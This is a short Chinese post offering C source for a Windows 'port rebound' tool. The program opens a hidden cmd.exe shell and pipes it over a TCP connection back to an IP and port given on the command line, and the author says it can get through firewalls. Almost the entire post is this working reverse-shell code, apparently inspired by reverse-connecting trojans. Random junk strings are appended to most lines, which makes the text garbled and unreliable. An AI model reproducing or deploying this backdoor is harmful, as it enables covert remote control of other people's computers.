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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s(nT7x+W  
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/* ============================== ?+))J~@t  
Rebound port in Windows NT D3 yTN"  
By wind,2006/7 r|=1{N x  
===============================*/ Jup)A`64  
#include bx(@ fl:m  
#include 8[KKi~A  
] \M+ju  
#pragma comment(lib,"wsock32.lib") @uH!n~QV  
y-db CYMc  
void OutputShell(); c7jmzo  
SOCKET sClient; c 3O/#*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cf88Fd6l/  
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void main(int argc,char **argv) H; NV?CD  
{ =w! ik9  
WSADATA stWsaData; ~x^y5[5{  
int nRet; Wk<fNHg  
SOCKADDR_IN stSaiClient,stSaiServer; u0h%4f!X  
w.-x2Zg},  
if(argc != 3) _"ciHYHBQ  
{ cv aG[NF  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;NR|Hi]  
return; A<ds+0  
} uYMn VE"  
]*#i_dho7  
WSAStartup(MAKEWORD(2,2),&stWsaData); >!t3~q1Cn  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  d 2d-Mk  
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stSaiClient.sin_family = AF_INET; 4AS%^&ah  
stSaiClient.sin_port = htons(0); >U vP/rp  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Jv8:GgSg  
,7LfvZj4[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B;r_[^  
{ 3'Y-~^ml|  
printf("Bind Socket Failed!\n"); &em~+83  
return; W;Y^(f  
} M bWby'  
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stSaiServer.sin_family = AF_INET; }6@E3z]AMO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hBjU(}\3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &KjMw:l  
#NW+t|E  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Jt=- >  
{ !+%gJiu:  
printf("Connect Error!"); [UA*We 1  
return; ,*J@ic7"  
} P |t yyjO  
OutputShell(); {  c#US  
} Y(g_h:lf,]  
Z 2N6r6  
void OutputShell() |%C2 cx  
{ XM`GK>*aC(  
char szBuff[1024]; `eM ZhY o  
SECURITY_ATTRIBUTES stSecurityAttributes; 0f6o0@  
OSVERSIONINFO stOsversionInfo; d}\]!x3t  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]p`y  
STARTUPINFO stStartupInfo; rLsY_7!  
char *szShell; 5vyg-'  
PROCESS_INFORMATION stProcessInformation; A|\A|8=b  
unsigned long lBytesRead; lxyTh'  
)8A.Wg4S;c  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !:&SfPv  
+]eG=. u  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M-nRhso  
stSecurityAttributes.lpSecurityDescriptor = 0; i1cd9  
stSecurityAttributes.bInheritHandle = TRUE; 0vqVE]C  
Wx:v~/r  
I=kqkuW  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O>' }q/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uO]D=Z\S(  
zR<{z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )#m{"rk[x,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8\rca:cF   
stStartupInfo.wShowWindow = SW_HIDE; gw)4P tb!  
stStartupInfo.hStdInput = hReadPipe; ,D;8~l lM  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \}$|Uo$O  
#c:s 2EL  
GetVersionEx(&stOsversionInfo); 5p#0K@`n/  
ESCN/ocV  
switch(stOsversionInfo.dwPlatformId) q`1tUd4G  
{ #kv9$  
case 1: 8g0 #WV  
szShell = "command.com"; mD9Iao%4~  
break; ] `$6=) _X  
default: IU8zidn&  
szShell = "cmd.exe"; cb^IJA9}  
break; $5i\D rs  
} ~^2w)-N  
6CyByj&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); oJTEN}fL  
Ak?9a_f  
send(sClient,szMsg,77,0); M2Nh3ijr  
while(1) 4;6"I2;zfG  
{ =3035{\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nX (bVT4i  
if(lBytesRead) }k VC ]+  
{ LA6XTgcu  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \^(#b,k#  
send(sClient,szBuff,lBytesRead,0); aH"d~Y^  
} #`_W?-%^  
else K6->{!8]k  
{ ]V/5<O1  
lBytesRead=recv(sClient,szBuff,1024,0); >GIQT ?O6  
if(lBytesRead<=0) break; QT%`=b  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z?eTjkNS#  
} w~+*Vd~U  
} D+!T5)>(  
&MX&5@ Vu  
return; l-XfUjJ  
}
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